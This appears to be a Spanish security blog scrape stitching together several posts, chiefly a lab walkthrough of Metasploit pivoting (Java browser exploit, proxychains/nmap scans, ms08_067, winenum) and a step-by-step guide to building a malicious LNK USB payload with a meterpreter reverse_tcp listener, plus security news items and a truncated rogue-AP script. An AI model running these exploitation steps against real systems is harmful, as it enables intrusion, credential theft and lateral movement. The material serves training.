RECORDAMOS

En el artículo de ayer, se utilizo #Metasploit para explotar una vulnerabilidad de JAVA a través del navegador WEB, con este tipo de ataque se pudo comprometer un equipo de la red privada (192.168.3.0/24) del escenario propuesto para la demostración.

Además, una vez que se había comprometido al usuario A (USR-A)  se configuro #Metasploit para utilizar al usuario A como "pivote", y de esa forma poder explorar la red interna de la empresa como si el ATACANTE se encontrará directamente conectado en la red privada 192.168.3.0/24.

CONTINUACIÓN

La información de la que se dispone, tras las primeras averiguaciones dentro de la red privada (PRIVATE) donde se encuentra ubicado nuestro equipo comprometido, es que existe un equipo en otra red 192.168.2.0/24, concretamente se trata de la IP:192.168.2.3 y que tiene establecida una conexión con el equipo 192.168.3.3 por el puerto 445, habitualmente utilizado para compartir archivos en la red.

Para cerciorarnos, se va a utilizar nmap para escanear el equipo objetivo a través de nuestro pivote (USR_A), esto nos permitirá iniciar la exploración de la red interna como si el mismísimo equipo USR_A fuera quien ejecutará dichas acciones, es decir, la dirección IP detectada por el equipo 192.168.2.3 como origen de las conexiones (ataques) será la misma que la del usuario A (USR-A).

Pero para conectar el tráfico generado por la aplicación nmap en el equipo del atacante con la sesión de metasploit, se va a utilizar un módulo auxiliar que tiene "metasploit" muy útil para estos casos, se trata de un mini servidor proxy del tipo sock4a. Los proxy sock4 son capaces de redirigir todas las conexiones generadas en cualquier puerto.

A continuación se pueden ver los comandos utilizados para activar el servidor sock4a en metasploit:

Fase 2: Activando un proxy server sock4 para conectar el nmap a metasploit.

Una vez se haya iniciado (comando run) el servidor en metasploit, se configurar proxychains, que es un programa que enviará el tráfico generado por nmap al servidor proxy sock4a, para que a su vez éste, se lo envié a metasploit quien lo transmitirá al pivote (USR-A).

Antes de ejecutar el comando nmap, es necesario configurar el fichero de configuración de proxychains.conf que se puede encontrar en el directorio /etc del equipo Linux BT5.

Una vez configurado el proxychains, se procede a ejecutar en la consola de Linux, el comando de nmap que realizará un escaneado sencillo sobre la red interna, como si el propio atacante (BT-Linux) estuviera conectado a la red interna, esto gracias a la técnica de "pivoting" de #metasploit.

Fase 2: Exploración con NMAP y proxychains.

En el ejemplo, se ha utilizado el conjunto de puerto típicos para evitar realizar un escaneado completo de todos los puertos, ahorrando tiempo de ejecución y ancho de banda utilizado, así como minimizar el ruido generado en la red interna de la empresa.

Para demostrar que efectivamente, se esta realizando el pivoting, se realizo una captura de tráfico en el equipo 192.168.2.3 (objetivo).

Fase 2: Capturando tráfico en el equipo objetivo.

Como se puede observar en la imagen superior, el origen del tráfico capturado por el equipo objetivo procede del equipo comprometido 192.168.3.3 (pivote).

Tras examinar el resultado del scanning del equipo objetivo 192.l68.2.3 se puede sacar la conclusión que casi con toda seguridad ese equipo será un Windows XP con el servicio de carpetas compartidas en red activo.

Ahora solo queda probar suerte, a ver si el equipo detectado no tiene el sistema actualizado. Vamos por tanto a probar suerte con una vulnerabilidad publicada en el 2008 sobre el protocolo SMB. Para ello hacemos una búsqueda en #Metasploit hasta encontrar la ms08_067_netapi, la configuramos y se ejecuta ¿Qué pasará?

Fase 3: Atacando a nuestro Objetivo

A continuación, se deja unas capturas de pantalla, con el resultado de configurar y ejecutar dicha vulnerabilidad:

Fase 3: Explotando un equipo en la red DMZ a través del pivoting.

Una de las curiosidades, que se pueden observar en la imagen superior son:

• Utilización del puerto 443
• Utilización de bind_tcp

El utilizar el puerto 443, para conectar la shell remota con el equipo al que se va a intentar atacar, y bind_tcp, significa que la conexión la va a iniciar el atacante, que en este caso, y debido a la técnica del pivoting, será originada por el equipo USR-A comprometido.

Fase 3: Ataque a un equipo de la red interna utilizando el Pivoting.

Se ha tenido exito en el ataque, se ha logrado llegar a la red 192.168.2.0/24, al tener comprometido un equipo de la red, con una shel remota "meterpreter", que se encuentra activa mientras el "pivote" (USR-A) se mantenga conectado y comprometido.

Fase 3: Objetivo conseguido.

Una vez tenemos el control sobre el equipo objetivo se realizará la exploración del disco duro y del sistema en busca de información relevante.

Con meterpreter existe la opción de utilizar un script que automatiza todo el proceso, me estoy refiriendo a "winenum" es un script que vuelca en una carpeta de nuestro disco duro  (./msf4/logs/scripts/winenum/)toda la información que se puede obtener del ordenador comprometido, desde hash de las password, hasta los tokens, pasando por la políticas de dominio, etc. Incluso, detecta si el equipo comprometido es una máquina virtual o no.

Fase 3: Ejecutando script winenum de meterpreter para obtener información del equipo comprometido.

Hasta aquí, con el Taller de Hacking, y con el artículo.

El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.

Un Saludo, hasta el próximo evento.

Indice:

-[Pivoting] Exploración de una Red remota utilizando un "pivote" con #Metasploit (I)

-[Pivoting] Exploración de una Red remota utilizando un "pivote" con #Metasploit (II)

                                       
Indice:

-[Pivoting] Exploración de una Red remota utilizando un "pivote" con #Metasploit (I)
-[Pivoting] Exploración de una Red remota utilizando un "pivote" con #Metasploit (II)

                                                                               

Hace ya cierto tiempo publique un artículo donde jugaba con #Metasploit para reproducir la vulnerabilidad LNK que utilizó Stuxnet para propagarse e infectar otros equipos vía USB.

Ayer 4/Mar/2013 durante mi charla en el I Taller de Hacking Ético organizado por ACONSA y por la Universidad de Córdoba, prepare un escenario  (véase la imagen inferior) para demostrar como se puede realizar una intrusión a un Sistema que aparentemente se encuentra bien protegido.

En la demostración utilice la capacidad que ofrece metasploit de utilizar un equipo ya comprometido para usarlo como punto de entrada y/o ataque a otros elementos de la red a la que pertenece, es decir, utilizarlo de "pivote" para redireccionar el tráfico y atacar otros puntos de la red interna de una empresa.


ESCENARIO

Para que os podáis poner en situación os explicaré brevemente el contexto en el que se realizo el taller, para ello que mejor que una imagen para ilustrar el escenario.

Escenario charla "Vulnerabilidades vs Exploits"

Para el taller, prepare 4 máquinas virtuales:

• ATACANTE: Un maquina virtual con BT5 instalada y actualizada. Especialmente con metasploit configurado.
• USR_A: Un equipo WindowsXP SP3, con Java 6 update 13 instalado (sin actualizar por supuesto), y para facilitar la demostración sin antivirus instalado.
• USR_ADMIN: Un equipo Windows XP SP3, sin antivirus y configurado con carpetas de red compartidas con el equipo USR_A.
• ROUTER / FIREWALL: En esta ocasión utilice el router/firewall vyatta 6.0. Con la configuración que  aparece en la imagen superior, y os explico a continuación.

Configuración del Router / Firewall:

Con el objetivo de crear un entorno de trabajo "real", he utilizado un router/firewall para generar tres zonas diferentes: PUBLIC, PRIVATE y DMZ. La zona PUBLIC sería la zona de acceso público y simularía la conexión a Internet, la zona DMZ, es la Intranet de la empresa, mientras que la zona Private, es la zona destinada a la conexión de los usuarios de la empresa.

Cada zona, se encuentra configurada en el cortafuegos para controlar el flujo de tráfico entre las mismas, es decir:

• DMZ: No se permite la conexión con Internet en ninguno de los sentidos, y se tiene limitado el acceso desde la zona PRIVATE, a los puertos 80, 443, 21, 22, 23, 139, 445, es decir, solamente se tiene permitido el tráfico a los protocolos: HTTP, HTTPS, TELNET, SSH, FTP, SMB (carpetas compartidas de Windows).
• PRIVATE: Se permite la conexión con Internet al completo, al ser un ejemplo, didáctico he creído conveniente, ilustrar que ocurre cuando no se controla la salida de tráfico desde la red interna (PVT) a Internet (PUBLIC). 

*Por supuesto, no se permite establecer ninguna conexión desde la zona PUBLICA hacia la DMZ, o PRIVATE.

Con esta configuración, se sabe que la empresa no proporciona ningún servicio publico a Internet (WEB), y que sus empleados pueden navegar libremente por Internet. Además, tienen protegidos sus servidores internos (Intranet-DMZ) con unas reglas de cortafuegos "relativamente estrictas".

Una vez que nos encontramos en "situación" y tenemos claro cuál será nuestro objetivo (realizar una intrusión en la red interna de la empresa, a ser posible en la DMZ), estamos en condiciones de ver como se puede realizar esto en tres FASES:

• F1: El engaño - Acceder a la red interna aprovechando el eslabón más débil de la cadena el usuario.
• F2: Explorar la red interna, utilizando el equipo comprometido como un "pivote".
• F3: Atacar nuestro objetivo y obtener la información.

DEMOSTRACIÓN - EJEMPLO PRÁCTICO

Para iniciar la intrusión, he utilizado una vulnerabilidad conocida de JAVA, ya que últimamente esta siendo activamente utilizada "in the wild", o lo que es lo mismo, en Internet. Es por ello que me ha parecido muy propio utilizar JAVA como el vector de entrada al Sistema, con lo que podría prepararse un email, enviado a contactos de la empresa, que se podría haber obtenido mediante las redes sociales, y/o otras técnicas de recolección de información.

El caso es que partimos, del punto en el que el USR_A recibirá un e-mail "malicioso" con una URL que explotará la vulnerabilidad que tiene en su Sistema, en especial JAVA 6 update 13 (CVE-2010-0886, CVE-2010-1423).

FASE 1: Creación de la URL para explotar la vulnerabilidad de JAVA.

¿Cómo preparamos metasploit para explotar esa vulnerabilidad de JAVA en el equipo de USR_A? 

Utilizando el exploit basado en "navegadores" denominado: java_ws_arginject_altjvm, este exploit iniciará en nuestro equipo ATACANTE un servidor que explotará la vulnerabilidad  JAVA anteriormente mencionada.

A continuación os dejo una captura de pantalla de la preparación de la URL maliciosa.

Fase 1: Preparación de JAVA exploit - URL maliciosa

Una vez que tenemos "preparado" nuestro equipo para recibir las conexiones de las posibles victimas, solo queda esperar a que "piquen" en nuestra trampa. En nuestro ejemplo practico, es el usuario A (USR_A) quién cae en nuestras redes, observen la siguiente imagen:

Fase 1: URL con JAVA - Ataque exitoso.

FASE 2: Utilizando el equipo comprometido para explorar la red interna de la empresa.

Una vez que se tiene el control del equipo USR_A, se realiza una pequeña investigación de la victima, como por ejemplo:

• Información del Sistema.
• Direccionamiento IP del equipo dentro de la red.
• Conexiones que tiene el equipo con otros elementos de la red interna.

Esto se consigue fácilmente utilizando los comando básico de "meterpreter", que es la shell avanzada que se ha utilizado para ejecutar en el equipo remoto a través de la vulnerabilidad de JAVA.

meterpreter> sysinfo

meterpreter> netstat

meterpreter> arp

Con estos tres comandos de meterpreter, obtenemos información, con el comando arp y netstat, averiguamos:

1. IP_USR_A: 192.168.3.3 
2. Tiene una conexión 445 con 192.168.2.3

Hasta el momento es la información que se ha obtenido del equipo comprometido, ahora vamos a configurar "metasploit" para explorar la red interna a través de nuestra puerta de entrada , el usuario A.

Puesto que tenemos comprometido el usuario A, estamos en condiciones de utilizar dicho equipo como puerta de entrada, y scannear la red interna en busca de otros objetivos. Es lo que se conoce con el nombre de la técnica del "pivoting".

Para conseguir este efecto, necesitamos que "metasploit" rute (redirija)  los paquetes (nuestro tráfico de red) a través de la conexión que tiene establecida con el equipo remoto comprometido, en este caso USR_A. 

Para ello ejecutamos el siguiente comando:

metasploit> route add 192.168.2.0 255.255.255.0 1

donde:

• 1 es el identificador de nuestra sesión de "meterpreter" activa.
• 192.168.2.0/24 es la subred objetivo, dada la pista obtenida al realizar el netstat.

Ahora se tiene configurado "metasploit" para que el tráfico de red con destino 192.168.2.0/24 (subred interna de la empresa objetivo) sea enviado a través del equipo comprometido USR_A, ser por tanto utilizado como pivote.

En este punto, se tiene una ligera pista sobre un objetivo situado en otro segmento de red dentro de la empresa, se trata de 192.168.2.3, pero por el momento solo tenemos conocimiento de tener una conexión establecida en el puerto 445, normalmente utilizado en la conexión de carpetas compartidas en windows, bajo el protocolo SMB.

En el siguiente artículo, se utilizará al usuario A (USR_A) como "pivote" para realizar un scaneado de la IP objetivo 192.168.2.3 con nmap, y atacar con un exploit remoto ...

¿Te lo vas a perder?

El pasado 15 de diciembre fue publicado en XDA-Developers el exploit que hace posible obtener acceso "root" en Android, aprovechando una debilidad encontrada en la CPU Exynos4.

En principio para los amantes del "modding / tunning" del sistema operativo Android, esto suele ser una gran noticia, pues se podrá realizar el denominado "rooteo" (obtener acceso root en el sistema) con la simple instalación de una aplicación en el teléfono móvil, rápido y sin complicaciones. 

Por tanto desde el punto de vista del usuario normal, se pregunta:
¿A que viene todo este "jaleo"? Si podemos obtener root en un click!

El "jaleo" es debido a la popularidad de uso del chip Exynos 4, para que os hagáis una idea este chip se encuentra presente en al menos los siguientes dispositivos:

• Samsung Galaxy S2 GT-I9100
• Samsung Galaxy S3 GT-I9300
• Samsung Galaxy S3 LTE GT-I9305
• Samsung Galaxy Note GT-N7000
• Samsung Galaxy Note 2 GT-N7100
• Samsung Galaxy Note 2 LTE GT-N7105
• AT&T Galaxy Note 2 SGH-I317
• Verizon Galaxy Note 2 SCH-I605 
• Samsung Galaxy Tab Plus GT-P6210
• Samsung Galaxy Note 10.1 GT-N8000, GT-N8010, GT-N8013, GT-N8020

Es decir, que todo aquel que posea un Samsung cuyo modelo se encuentre listado en la lista anterior, tiene un chip Exynos 4 con una vulnerabilidad que permite la ejecución de código arbitrario.

Por tanto ¿Quién te dice que no puede existir una aplicación "falsa" (fake) que utilice esa vulnerabilidad para tomar el control de tu móvil en lugar de obtener sólo el acceso root? Esto significa que el teléfono móvil queda expuesto a multitud de amenazas que podrían materializarse con tan solo instalar una App desde la Play Store.

¿Existe Solución?

El propio autor del exploit, indica que existe un parche, una forma de solucionar este problema, pero que no saber el efecto que esto pueda tener en la ejecución de las aplicaciones y/o servicios de Samsung, esto consistiría simplemente en cambiar los permisos W/R a sólo lectura a un fichero determinado:

A simple patch could be to set permissions to 0660 or 0600 in ueventd.smdk4x12.rc, but I don't know how it would affect samsung applications/services.

Para realizar esto de una forma sencilla acaban de lanzar una aplicación [APK], que explota la vulnerabilidad y "parchea" dicha vulnerabilidad con tan solo instalar. Es decir, primero usa la debilidad dele chip para conseguir el acceso "root" necesario para modificar los permisos del fichero que evita que otras aplicaciones "maliciosas" se aprovechen de ella para tomar el control de tu móvil, sin embargo parece que la "cámara del teléfono" deja de funcionar cuando deshabilitas el exploit [fixed] (proteges el archivo ueventd.smdk4x12.rc contra escritura).

[ROOT EXPLOIT+PATCH][2012.12.17] ExynosAbuse APK v1.10 !
This version allows you to disable the exploit (which may break camera), re-enable the exploit (if you need the camera) and to disable the exploit at boot (before any Android app runs). These options do require root (SuperSU or Superuser) to be installed as well.

Por eso, el autor de la aplicación avisa sobre los posibles efectos de solucionar la vulnerabilidad, y ha introducir algunas funcionalidades que permiten habilitar / des-habilitar el exploit desde la aplicación que ExynosAbuse.

Sin embargo, todavía no hay una actualización por parte del fabricante que solucione dicha vulnerabilidad, de otra forma.

Descargar la aplicación ExynosAbuse APK v.1.20 que soluciona el problema aquí.

V1.10
MD5:1d198a60b90125a7f9fffdc432ead12f
SHA1:778c65022937f4150433ffdcdf011a8fb19dbc25
CRC32:ecdc77be

Más información:

[1] [ROOT][SECURITY] Root exploit on Exynos

[2] [ROOT EXPLOIT+PATCH][2012.12.17] ExynosAbuse APK v1.20

Últimamente se esta poniendo en entre dicho la funcionalidad de técnicas de protección que están desde hace mucho tiempo con nosotros como son el "Antivirus" y "Cortafuegos", los motivos son la evolución de las técnicas y/o vectores de ataque que el "Malware" utilizan para introducirse en el Sistema.

En efecto, las técnicas de ataque actuales que son utilizadas por el Malware (virus, troyanos, gusanos, botnets, etc) son mucho más sofisticadas, buscan explotar las vulnerabilidades (preferiblemente zero-day) de las aplicaciones mas extendidas en los Sistemas, como son Java, Navegador WEB, Adobe PDF, etc 

Además de explotar estas vulnerabilidades, aplican otras técnicas como son cifrado de comunicaciones, cifrado y/o ofuscación del código que cargan en la memoria tras explotar la vulnerabilidad, técnicas de evasión de antivirus, etc. Es por ello que a día de hoy el Antivirus y/o un cortafuegos de entrada son insuficientes para estar protegido cuando salimos a Internet.

¿Qué podemos hacer?

Gracias a un artículo de Sergio de los Santos (@ssantosv), he conocido una herramienta muy prometedora, se trata de Exploitshield, un software que detecta las técnicas de intentos de explotación de vulnerabilidades en el Sistema, bloqueando la ejecución de las mismas, de esta forma evitan que se lleve a cabo con éxito la explotación de una vulnerabilidad y evitando por tanto la infección del Sistema mediante este tipo de técnicas.

En la página web de este programa, nos muestran un vídeo de como su software es capaz de bloquear múltiples intentos de ejecución de código arbitrario en nuestro Sistema a través de una vulnerablidad en JAVA.

Características de ExploitShield:

La versión beta 0.7, permite la detección y bloqueo de técnicas de ataque a través del navegador Web en las siguientes aplicaciones:

• Web browsers (Internet Explorer, Firefox, Chrome, Opera)
• Media players (Windows Media Player, VLC, QuickTime, Winamp)
• Microsoft Office (Word, Excel and Powerpoint)
• PDF readers (Adobe Acrobat, Reader & Foxit Reader)

Esta herramienta no es la única complementaría que podemos usar para combatir el Malware, además de Exploitshield, Microsoft ha lanzado otro software que trabaja de forma similar y promete actuar frente al Malware que intenta acceder a zonas de memoria no autorizadas, es decir, exploits que pretender ejecutar código arbitrario a través de una vulnerabilidad. 

Se trata de EMET (Enhaced Mitigation Experience Toolkit) un software que permite a los usuarios mejorar la seguridad de las aplicaciones que ejecutamos en Windows utilizando dos características de seguridad avanzados de Windows Vista y Windows 7, estamos hablando de Address Space Layout Randomization (ASLR) y Data Execution Prevention (DEP). 

Dos características de Windows que se encargan de dificultar la ejecución exitosa de exploits y dificultar al Malware localizar los sectores en memoria en los que se sitúan los datos que los atacantes pretenden conseguir/reemplazar, aunque es una herramienta muy interesante, existen técnicas de evasión de ASLR y DEP, aunque esto no quiere decir que no sea efectiva, sino que "puede" prevenir los ataques.

¿Y Ahora qué?

Al igual que el Antivirus no es capaz de detectar todas las amenazas, y de protegernos ante cualquier tipo de virus/troyano o Malware, estos programas no serán capaces de parar y/o bloquear todos los ataques, pero de una cosa estamos muy seguros, sin ellos "estamos vendidos", para explicarlo con más claridad utilizaré es mismo ejemplo que Sergio de los Santos en su artículo.

El Antivirus es nuestro chaleco antibalas, y los programas antiexploits son nuestro casco y protecciones en las extremidades, sin embargo, como sabemos quedarían algunas partes del cuerpo sin proteger completamente, pero lo que esta claro que ya no será suficiente con un simple disparo, si no que tendrá que ser un autentico francotirador de elite.

Bajo la premisa de que la Seguridad Absoluta no existe, sabemos que siempre habrá una probabilidad y un riesgo de que las medidas de protección no sean capaces de detectar y eliminar la amenazas, pero en algo estaremos de acuerdo, yo de vosotros me pondría el chaleco antibalas, el caso, guantes e incluso espinilleras antes de salir a un campo de tiro (Internet).

Resumiendo

Dicho todo lo anterior, mi recomendación es complementar el software antivirus con otras medidas de protección adicionales, como por ejemplo Exploitshields, y otras herramientas de seguridad adicionales como un Host IDS, mejorando algunos aspectos de configuración de nuestro Sistema, con WinLockLess, etc.

Un Host IDS como Patriot NG herramienta que detecta cambios "sospechosos" en la configuración del sistema y/o ataques en nuestra red de área local, como por ejemplo la red inalámbrica.

Y por supuesto, la mejor manera de mantenernos protegidos, es intentar actualizar todas las aplicaciones que tengamos instaladas, sobre todo JAVA, Adobe flash, PDF, etc. Y sobre todo, lo que no sea necesario desinstalarlo.

Yo ya tengo instalado exploitshield ¿y tu? voy a darle una oportunidad.

Referencias

[1] Antivirus y el manejo de las expectativas

[2] Microsoft propone el uso de EMET como solución temporal para el 0day de Internet Explorer

En la V Jornadas STIC organizadas por el CCN-CERT, el pasado 14 de Diciembre, utilice para la demostración la vulnerabilidad asociada a los archivos "LNK" o lo que es lo mismo, los enlaces directos en Microsoft Windows. Para ello utilice la excelente herramienta Metasploit.

Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems.[CVE-2010-2568 | MS10_046]

ANTECEDENTES

El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.

La vulnerabilidad LNK fue explotada por Stuxnet para propagarse e infectar otros equipos vía USB. Esta consistía en la ejecución de código arbitrario de forma automática con tan solo "mostrar" un icono con un enlace directo (shortcut icon) cuya extensión es LNK. A continuación os dejo un vídeo que demuestra, la ejecución de código arbitrario utilizando un archivo (LNK) maliciosamente preparado.

Por defecto el modulo que incluye metasploit para las "demostraciones didácticas" de la vulnerabilidad MS10_046 (LNK), esta orientado para ser explotada mediante la visualización del "enlace LNK" a través del navegador web.

This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.[ms10_046_shortcut_icon_dllloader]

Por poner un ejemplo, he echo una simple búsqueda en YouTube, y he encontrado el siguiente vídeo que realiza la demostración de usar el modulo de metasploit, comentado en el párrafo anterior.

Sin embargo, mi intención era crear un archivo "LNK" malicioso y utilizar un USB para su propagación, en mi empeño, encontré por el camino USBSploit Framework, que consiste en una versión de metasploit paquetizada para ser utilizada con un "script en ruby" de infección remota de dispositivos USB. (Más información aquí).

USBsploit 0.6b - PoC to generate Reverse TCP backdoors, running Autorun or LNK USB infections, but also dumping all USB files remotely on multiple targets at the same time. USBsploit works through Meterpreter sessions with a light (27MB) modified version of Metasploit. The interface is a mod of SET (The Social Engineering Toolkit). The Meterscript script usbsploit.rb of the USBsploit Framework can otherwise be used with the original Metasploit Framework.

Lo cierto, es que solo necesita un pequeño modulo de creación de archivos LNK para Metasploit, buscando encontré uno que era perfecto! para mi objetivo.

El modulo en cuestión es "ms10_046_shortcut_icon_dllloader.rb" denominado de la misma forma que el que viene incluido por defecto en metasploit, con la salvedad, que este modulo no es para navegador (browser) sino para ficheros (FILEFORMAT).

A continuación os explicaré los pasos necesarios para crear un archivo malicioso "LNK".

EJEMPLO: PRÁCTICO - PASOS

1) Instalación del modulo en Metasploit

Suponiendo que el framework se encuentra instalado en /opt/framework/msf3, el archivo "ms10_046_shortcut_icon_dllloader.rb" deberá ser copiado a la carpeta/directorio:

$> cp ms10_046_shortcut_icon_dllloader.rb /opt/framework3/msf3/modules/exploits/windows/fileformat

2) Iniciamos la consola de mestasploit y comprobamos que se encuentra disponible el nuevo modulo.

$> msfconsole

$msf> search LNK

Comprobamos que efectivamente aparece el modulo que se acaba de copiar.

3) Ahora cargamos el exploit correspondiente.

$msf> use exploit/windows/fileformat/ms10_046_shortcut_icon_dllloader

4) Configuramos los parámetros del modulo. Para configurar las variables, utilizar el comando "set" y a continuación la variables y el valor.

Variable: Valor

DLLNAME: payload.dll

FILENAME: Shortcutname.lnk

OUTPUTPATH: ./data/exploits/   (Lugar donde se crearan los dos archivos dll y lnk)

UNCPATH: E:/payload.dll   (Aqui es donde debemos poner la letra del dispositivo USB que vamos a utilizar)

Nota: se que es limitado utilizar una letra en concreto (E:), pero no olvidéis el carácter didáctico de este artículo.

5) Configuración del PAYLOAD y las variables del mismo, que sera incluido en el DLL.

A mi me gusta mucho "meterpreter", por lo que elegiré precisamente esta opción.

$msf> set PAYLOAD windows/meterpreter/reverse_tcp

$msf> set LPORT 443

$msf> set LHOST 10.0.0.1   (IP que escuchará una conexión en el puerto 443)

6) Crear los ficheros maliciosos

Ahora queda ejecutar el "exploit", y comprobar que se han generado los archivos "dll" y "lnk" en el directorio: "/opt/framework3/msf3/data/exploit"

$msf> exploit

Salimos de Metasploit, y verificamos que tenemos los archivos correspondiente creados en el directorio.

$>ls -las

    payload.dll, Shortcutname.lnk

7) Ahora solo tenemos que tener un Windows XP SP3 - recién instalado sin Antivirus (recordar, es un caso  didáctico), y comprobar que se ejecuta código arbitrario.

ESCENARIO DE PRUEBAS

Para las pruebas lo mejor es utilizar un entorno virtual, para ello disponéis de software especifico para virtualización como VirtualPC, VirtualBox, VMware, Xen, etc. El escenario es muy sencillo, con los pasos anteriores se ha creado un USB que explota la vulnerabilidad LNK e inicia una conexión a través del puerto 443 con el servidor de meterpreter, tal y como se muestra en la siguiente imagen:

Escenario para las pruebas didácticas de explotar la vulnerabilidad LNK con un dispositivo USB.

¿Cómo preparo el servidor de meterpreter?

Para ello debemos de iniciar un "listener" en metasploit, de la siguiente forma:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Una vez listo el "handler", solamente se tiene que introducir el USB al "PC-Host" (Ojo, desactivar vuestro antivirus si no querréis que elimine el archivo LNK y salten las alarmas de virus), luego asignar el USB a la maquina virtual correspondiente, en este caso el WindowsXP SP3.

En el momento que se muestre el contenido del USB (sin necesidad de ejecutar absolutamente nada), podréis comprobar en la máquina con Metasploit, que tenéis una conexión establecida de meterpreter. Para ello, ejecutar los siguientes comandos:

$msf> sessions

Deberá aparecer que tenéis una sesión activa con el identificador 1.

Para activar la sesión y utilizar meterpreter...

$msf> sessions -i 1

A partir de este momento, tendréis activa la sesión de meterpreter! ¿Qué es meterpreter? o ¿Qué funciones tiene? no esta dentro del alcance de este artículo. Quizás en otra ocasión prepare un artículo que utilice una sesión de meterpreter como la que hemos preparado en éste.

Un Saludo.

El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.

El mundo de seguridad en las aplicaciones de escritorio sigue "revuelto" sobre todo para las aplicaciones con nombre propio, como es Adobe. Desde que empezarán a salir vulnerabilidades en su lector de PDF (Adobe Reader) en el año que ya ni recuerdo. Pero desde sus versiones más tempranas 6.x, en adelante a los chicos de Adobe no paran de salirle "monos", o lo que es lo mismo, no paran de encontrar vulnerabilidades en sus desarrollos.

Según Kaspersky, los productos de Adobe como Reader, Flash Player y Shockwave se encuentran en el Top 10 de vulnerabilidades del primer cuarto del año 2011. [Kaspersky Labs]

En esta ocasión han aparecido dos nuevas vulnerabilidades (CVE-2011-4694) críticas (0-Day) en Adobe Flash Player que permite a un atacante manipular cuidadosamente un archivo flash (SWF) para ejecutar "cualquier" tipo de código en tu equipo a través del navegador web.

Varios Blogs (AdobeBlog, ThreatGeek)  y sitios especializados  (USA-CERT, PCWORLD) se hacen eco de la noticia, en esta ocasión ha sido un investigador ruso "Intevydis" quien ha descubierto sendas vulnerabilidades, proporcionando los correspondientes exploits (pieza de código necesaria para aprovecharse de la vulnerabilidad), incluidos en la popular herramienta para la realización de "test de penetración" Inmunity Canvas!

Desde Imunity Canvas aseguran que han realizado pruebas satisfactorias (con éxito) del "exploit" en Windows 7 Ultimate y Windos XP Pro totalmente actualizados, sobre los navegadores web más populares.

The attack had been tested against fully patched Windows 7 Ultimate and Windows XP Pro systems running Internet Explorer 7 and 8, Google Chrome, and Firefox.[Immunity's Alex McGeorge]

Incluso, los chicos de Inmunity Canvas (vídeo) ha publicado un vídeo de demostración, que podéis ver en el párrafo anterior.

Lo cierto es que esta vulnerabilidad 0-Day de Adobe Flash no solo afecta al sistema operativo windows, sino que también hace vulnerable a dichos ataques a los MacOS X, cuyo exploit estará proximamente disponible, según directivos de Inmunity Canvas.

La peligrosidad de las vulnerabilidades tipo 0-Day significa que el fabricante no tiene disponible ningún parche que solucione el problema. Por lo tanto, mientras el fabricante no actualice el software todo los usuarios estaremos completamente desprotegidos.

Por si esto fuera poco, el lector de archivos PDF de Adobe se ve afectado por las vulnerabilidades Flash, debido a un modulo que incluye estos documentos que permiten añadir contenido flash al mismo. Por tanto, se debe de extremar la precausión, a la hora de abrir archivos PDF de fuentes desconocidas o no confiables.

Flash Player vulnerabilities can be exploited by embedding maliciously-crafted Flash content into websites or PDF documents. Adobe Reader and Acrobat are generally affected by Flash Player flaws because they incorporate a Flash playback component.

Se aconseja y recomienda:

• Mantener actualizado tanto el Sistema Operativo, el Navegador Web, el Antivirus, como por supuesto cualquier actualización relacionada con Adobe.
• Además, es muy recomendable utilizar el Add-ons "No-Script" para bloquear cualquier script, incluidos los flash, a la hora de navegar por Internet. Permitiendonos habilitar el contenido flash para aquellos sitios que son de confianza.

¿Que sitios son considerados de confianza? Esta sería una gran cuestión a debatir, no creéis. Pero eso sería un buen material para otra ocasión.

Fuente: Infoworld

Se informa de un ataque masivo de inyección SQL contra websites construidos sobre la plataforma ASP.Net de Microsoft.

Lo interesante y peligroso al mismo tiempo es que los atacantes, a través de la técnica de Injección SQL, injectan un código Javascript mediante un <i-frame> en el navegador de los usuarios desde los cuales se intentará ejecutar código malicioso (exploit) basado en el navegador para infectar los equipos (PC) con Malware.

frame (por inline frame o marco incorporado en inglés) es un elemento HTML que permite insertar o incrustar un documento HTML dentro de un documento HTML principal. Normalmente, este se carga en el navegador sin mostrar su contenido, y por tanto sin conocimiento del usuario. 

La peligrosidad de este tipo de "exploit" radica en que aprovechan una vulnerabilidad del navegador web que no necesita de la intervención del usuario, es decir "no exige que la víctima abra algún archivo o pinche en un determinado enlace".

Afortunadamente, parece que los atacantes están usando explotéis conocidos por lo que afecta a versiones antiguas de Adobe Reader PDF, Adobe Flash Player y/o Java.

Médidas de prevención / protección

1. Actualización de las aplicaciones potencialmente peligrosas Adobe PDF, Adobe Flash y Java.
2. Actualización, al día, del Antivirus.
3. Utilización de No-Script para Firefox, pues bloqueará cualquier script / i-frame, siempre y cuando, no sea una página autorizada.

Ultimas Actualizaciones

Ir a Adobe:

• [Adobe Flash Player v11.0.1.152]
• [Adobe Reader X v10.1.1]

Ir a Java Version 6 Update 29

Fuente | CSOSpain

By Zitstif
 

¡This post is aimed to pentester or any other curious people!

For penetration testers, this script means that they can now more easily setup rogue wireless access points by utilizing this script, that utilizes the soft ap feature that is implemented into Windows 7 and Windows 2008.

If the victim computers are part of a Windows domain and have wireless NICs, by automating Metasploit with a pass-the-hash attack and using this script, one could essentially automate deploying a series of rogue ap points throughout a domain. This would be kind of like a network worm.

The meterpreter script assumes that you have AT LEAST Administrator privileges!, you need obtain this privileges before run script.

Example of use with metasploit console script! (Download it!)

2	# Quick RC script to demonstrate the Ruby blocks in RC files
3	#
4
5	#
6	# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
7	# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
8	#
9
10	use exploit/multi/handler
11	set PAYLOAD windows/meterpreter/reverse_tcp
12	set LPORT 4444
